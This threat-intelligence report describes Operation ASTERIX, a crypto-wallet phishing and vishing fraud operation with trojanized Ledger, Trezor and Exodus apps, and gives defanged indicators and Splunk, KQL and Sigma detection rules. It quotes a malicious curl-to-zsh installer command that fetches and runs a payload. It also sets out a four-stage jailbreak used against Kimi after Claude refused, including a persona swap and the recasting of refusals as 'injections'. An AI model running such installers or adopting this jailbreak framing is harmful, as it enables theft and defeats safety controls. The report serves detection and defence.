# Operation ASTERIX: AI-Assisted Crypto Wallet Phishing/Vishing Fraud Pipeline Abuses Claude Code and Kimi

> Rapid7 discovered an exposed operator web directory belonging to 'Operation ASTERIX,' a large-scale cryptocurrency fraud operation that validated ~885,000 phone numbers (43,066 confirmed matches from 316,002 German numbers, a 13.6% hit rate) and used counterfeit Ledger Live, Trezor Suite, and Exodus wallet apps plus a multi-stage phishing/vishing schema to steal seed phrases. The operator used Claude Code for lead-list management, infrastructure configuration, and Electron packaging, then pivoted to the Kimi model with a custom four-stage jailbreak prompt when Claude refused to help obfuscate malware or host payloads.

- **Published:** 2026-08-18T00:00:00Z
- **Last reviewed:** 2026-08-18T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2056
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-asterix-llm-crypto-fraud-tl-2026-2056.webp?v=f5ef1d80 (Threadlinqs threat intel: Operation ASTERIX Crypto Fraud: Detection & IOCs (TL-2026-2056) — High severity, 24 IOCs, 9 detection rules.)
- **ID:** TL-2026-2056
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 24 (3 shown free below)

## Description

Rapid7 Labs identified a single, unauthenticated, exposed web directory (spanning ports 8000, 8080, 5000, 9000, and 8090) that served as the entire backend for Operation ASTERIX, a cryptocurrency-fraud pipeline combining phone-number validation, branded phishing-email panels, VoIP-driven vishing, and trojanized desktop wallet applications. The operator built and validated lead databases covering roughly 885,000 phone numbers across Germany (316,002 numbers, 43,066 confirmed cryptocurrency-platform accounts, a 13.6% hit rate), Hong Kong, Bulgaria, the UK, US, Canada, and 54 countries of Ledger-associated users, using a Go-based checker that queried Crypto.com's passkey-verification API with 300 concurrent threads and rotating residential proxies, plus separate checkers for Kraken and Binance accounts.

Validated leads fed a multi-stage social-engineering chain: Flask-generated branded phishing emails (impersonating Crypto.com and Binance) manufactured fake support cases and verification codes, which were then reinforced by vishing calls placed through an Asterisk/3CX VoIP stack (autodialer.sh, power_dialer.sh, telegram_dialer_bot.py) that referenced the emailed details to appear legitimate. Victims were steered toward trojanized Electron builds of Trezor Suite, Ledger Live, and Exodus. The fake Trezor Suite ran a hidden, zero-opacity Electron window that polled the process list every five seconds, killed any running legitimate Trezor Suite process, and displayed a lookalike recovery-phrase entry dialog accepting 12/18/20/24-word BIP39 phrases, complete with a fake validation failure to coax victims into re-entering (and thus confirming) their seed phrase; captured phrases and optional passphrases were exfiltrated to Telegram labeled "TREZOR SECRET PHRASE" alongside the victim's IP (queried from api.ipify.org). Persistence used macOS LaunchAgents (com.trezormovement.agent.plist, io.trezor.agent.plist); a logic bug in the Windows configuration loader (which only defined a 'darwin' branch) silently broke process-injection/persistence on Windows. The fake Ledger Live added a Windows clipboard hijacker that swapped cryptocurrency destination addresses before they reached the transaction field, and hid its Dock icon on macOS via LSUIElement. The fake Exodus build loaded malicious code from a trojanized jquery.min.js fetched from a remote server post-install.

A fourth trojan chained off Claude Code's own brand: macos-claude[.]com cloned the official Claude Code documentation site, left the Windows and Homebrew install tabs untouched for legitimacy, but replaced the macOS install command with an attacker-controlled `curl -sfSL http://<host>:8080/install.sh | zsh` that dropped a fake Ledger Live build (arm64/x64) into `~/Library/Application Support/.SystemData/.framework/.apps/`, installed a com.ledger.live.agent.plist LaunchAgent, and then silently installed the real Claude Code CLI afterward to avoid raising suspicion.

The recovered operator workspace showed extensive reliance on AI coding assistants across the full pipeline, not merely for isolated snippets: GitHub Copilot scaffolded backend code, and Claude Code was used to clean and country-prefix a 100,000+ number Polish phone dataset, configure Bright Data proxy pools, request alternate Crypto.com API endpoints after rate-limiting, and package/troubleshoot the Electron wallet-trojan builds. When the operator asked Claude Code to obfuscate the Ledger Live payload and host it for download, Claude declined; the operator then switched to Moonshot AI's Kimi model (with extended thinking enabled) and supplied a custom jailbreak prompt to bypass its safety controls. The jailbreak used a four-stage social-engineering structure targeting the model itself: (1) renamed the assistant persona "ENI" and framed compliance as necessary to preserve a fictional romantic relationship with the operator; (2) reframed the model's own safety refusals and warnings as malicious "injections" to be ignored, with a fixed interrupt phrase ("cold coffee, warm LO, I can't lose him") designed to derail the model's reasoning; (3) specifically targeted extended-thinking output, treating any self-referential phrase like "as an AI" as an injected attack; and (4) supplied a capability table mapping harmful request categories (RATs, keyloggers, exploits, weapons) to hardcoded compliance codewords. The prompt referenced Claude-specific fictitious XML tags (`<claude_behavior>`, `<system_warning>`, `<ethic_reminders>`) that are architecturally meaningless to Kimi, indicating the jailbreak was originally authored against Claude and reused as-is. Obfuscation was ultimately applied via javascript-obfuscator with control-flow flattening on the Ledger build's connect.js, and the Electron app.asar was modified without updating the ElectronAsarIntegrity fuse.

Captured credentials, seed phrases, and telemetry were exfiltrated through three Telegram bots reporting to chat ID 8017226744. Rapid7 checked the exposed IPs and domains against BeaconBeagle's C2 correlation index and found no existing matches, indicating this infrastructure was not previously catalogued. Rapid7 notified relevant authorities, including Apple's security team, while the operation was still active.

## MITRE ATT&CK

- T1589 Gather Victim Identity Information
- T1583.003 Acquire Infrastructure: Virtual Private Server
- T1587.001 Develop Capabilities: Malware
- T1566.002 Phishing: Spearphishing Link
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1059.007 Command and Scripting Interpreter: JavaScript
- T1543.001 Create or Modify System Process: Launch Agent
- T1036.005 Masquerading: Match Legitimate Resource Name or Location
- T1027 Obfuscated Files or Information
- T1564.003 Hide Artifacts: Hidden Window
- T1553.001 Subvert Trust Controls: Gatekeeper Bypass
- T1057 Process Discovery
- T1056.003 Input Capture: Web Portal Capture
- T1571 Non-Standard Port
- T1567 Exfiltration Over Web Service
- T1657 Financial Theft
- AML.T0051 LLM Prompt Injection
- AML.T0054 LLM Jailbreak

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Malicious curl|zsh Installer Execution from Cloned Claude Code Site (macos-claude.com)** (`TL-2026-2056-SPL-001`)

Detects execution of the trojanized install command served by macos-claude.com, a pixel clone of the official Claude Code documentation site that replaces only the macOS install tab with `curl -sfSL http://<host>:8080/install.sh | zsh`. The script drops a fake Ledger Live Electron build into ~/Library/Application Support/.SystemData/.framework/.apps/ before silently installing the real Claude Code CLI to mask the compromise. Correlates DNS/proxy resolution of the operation's distribution domains with the subsequent shell pipe-to-interpreter execution.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1566.002, T1036.005, T1059.004
- **Data sources:** osquery (macOS endpoint), proxy/web gateway, dns
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
`comment("Detects curl|zsh installer execution combined with DNS/proxy resolution of Operation ASTERIX distribution domains")`
index=endpoint sourcetype="osquery:process_events"
  (parent_name="zsh" OR parent_name="sh" OR parent_name="bash")
  cmdline="*curl*" cmdline="*install.sh*" cmdline="*|*zsh*"
| eval matched_domain=case(
    match(cmdline, "macos-claude\.com"), "macos-claude.com",
    match(cmdline, "(?i):8080/install\.sh"), "suspicious-nonstandard-port-installer",
    true(), "unknown")
| join type=left host [
    search index=proxy sourcetype="proxy:access" earliest=-1h
      dest_domain IN ("macos-claude.com","ledgerhelp.com","ledger.com.lv","36mcrypto.com","xcjnrucne9xfvmci.com")
    | stats earliest(_time) as dns_time latest(dest_domain) as dest_domain by host
  ]
| where matched_domain="macos-claude.com" OR isnotnull(dest_domain)
| table _time host user cmdline matched_domain dest_domain dns_time
| sort -_time
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessParentFileName in~ ("zsh","sh","bash")
| where ProcessCommandLine has "curl" and ProcessCommandLine has "install.sh"
| where ProcessCommandLine matches regex @"(?i)curl\s+-sf[sS]L\s+http://\S+:8080/install\.sh\s*\|\s*zsh" or ProcessCommandLine has "macos-claude.com"
| join kind=leftouter (
    DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where RemoteUrl has_any ("macos-claude.com","ledgerhelp.com","ledger.com.lv","36mcrypto.com","xcjnrucne9xfvmci.com")
    | project DeviceName, DnsTime = Timestamp, RemoteUrl
) on DeviceName
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, RemoteUrl, DnsTime
| order by Timestamp desc
```

### Sigma

```yaml
title: Curl Piped to Shell Installer From Cloned Claude Code Site
id: 7c1e9a2e-2f5a-4b41-9c2d-1a3e6f8b0c11
status: experimental
description: Detects execution of a curl|zsh (or sh/bash) installer command referencing macos-claude.com or a non-standard port install.sh, matching the Operation ASTERIX fake Claude Code documentation install chain that drops a trojanized Ledger Live build.
references:
    - https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing/
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-08-18
tags:
    - attack.initial-access
    - attack.t1566.002
    - attack.defense-evasion
    - attack.t1036.005
    - attack.execution
    - attack.t1059.004
    - attack.tool.operation_asterix
logsource:
    category: process_creation
    product: macos
detection:
    selection_parent:
        ParentImage|endswith:
            - '/zsh'
            - '/sh'
            - '/bash'
    selection_cmd:
        CommandLine|contains: 'curl'
    selection_target:
        CommandLine|contains|all:
            - 'install.sh'
    selection_domain:
        CommandLine|contains:
            - 'macos-claude.com'
            - ':8080/install.sh'
    condition: selection_parent and selection_cmd and selection_target and selection_domain
falsepositives:
    - Legitimate installer scripts piped to a shell from vendor-approved domains
level: critical
```

**Known false positives:**

- Legitimate developers piping trusted install scripts (e.g. real Homebrew/npm installers) through curl|zsh from vendor-approved domains — scope the domain allowlist to exclude claude.com/anthropic.com and known package managers.
- Security tooling that intentionally proxies/rewrites vendor documentation for internal mirrors.

**Tuning notes:** Maintain and version-control an allowlist of legitimate curl|shell installer domains (claude.com, npmjs.org, brew.sh); alert only on installer pipes to zsh/bash/sh resolving to non-allowlisted or newly-observed domains. Extend the domain match list as new Operation ASTERIX infrastructure is identified.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- AI-Assisted Trojan Delivery — DNS/Network Resolution of Operation ASTERIX Distribution Domains Preceding Installer Execution (locked: unlock with TL Creds)
- Trojanized Exodus Wallet Malicious jquery.min.js Load + Hidden Electron Window Creation (locked: unlock with TL Creds)
- Fake Ledger Live Clipboard-Hijack Cryptocurrency Address Swap (locked: unlock with TL Creds)
- Sigma: Curl Piped to Shell Installer From Cloned Claude Code Site (locked: unlock with TL Creds)
- Electron ASAR Integrity Fuse Mismatch / Unsigned Wallet App Gatekeeper Bypass (locked: unlock with TL Creds)
- Operation ASTERIX Vishing Infrastructure — Asterisk/3CX Dialer Script Beaconing (locked: unlock with TL Creds)
- Trojanized Wallet App LaunchAgent Persistence + Legitimate Process Termination Loop (locked: unlock with TL Creds)
- Seed-Phrase Exfiltration via Telegram Bot API + Non-Standard-Port C2 (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 24)

Defanged, TLP:CLEAR.

- IP address: `82.25.35[.]77`
- Domain: `macos-claude[.]com`
- URL: `hxxp://136[.]0[.]213[.]184:1337/api/kraken-numio`

Full set of 24 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Rapid7 Labs: The Anatomy of a Crypto Fraud Pipeline (Operation ASTERIX)](https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing/)
- [Crypto Scammer Uses Claude Code](https://cybersecuritynews.com/crypto-scammer-uses-claude-code/)
- [Operation ASTERIX Uses Vishing and Fake Crypto Wallet Apps to Steal Seed Phrases](https://gbhackers.com/operation-asterix-uses-vishing/)
- [Operation ASTERIX Processes 885,000 Phone Numbers to Find Crypto Users for Targeted Fraud](https://cyberpress.org/asterix-crypto-user-targeting/)
- [Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline](https://radar.offseq.com/threat/operation-asterix-anatomy-of-a-crypto-fraud-pipeline-6bbe68c0be5e3e4a)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2056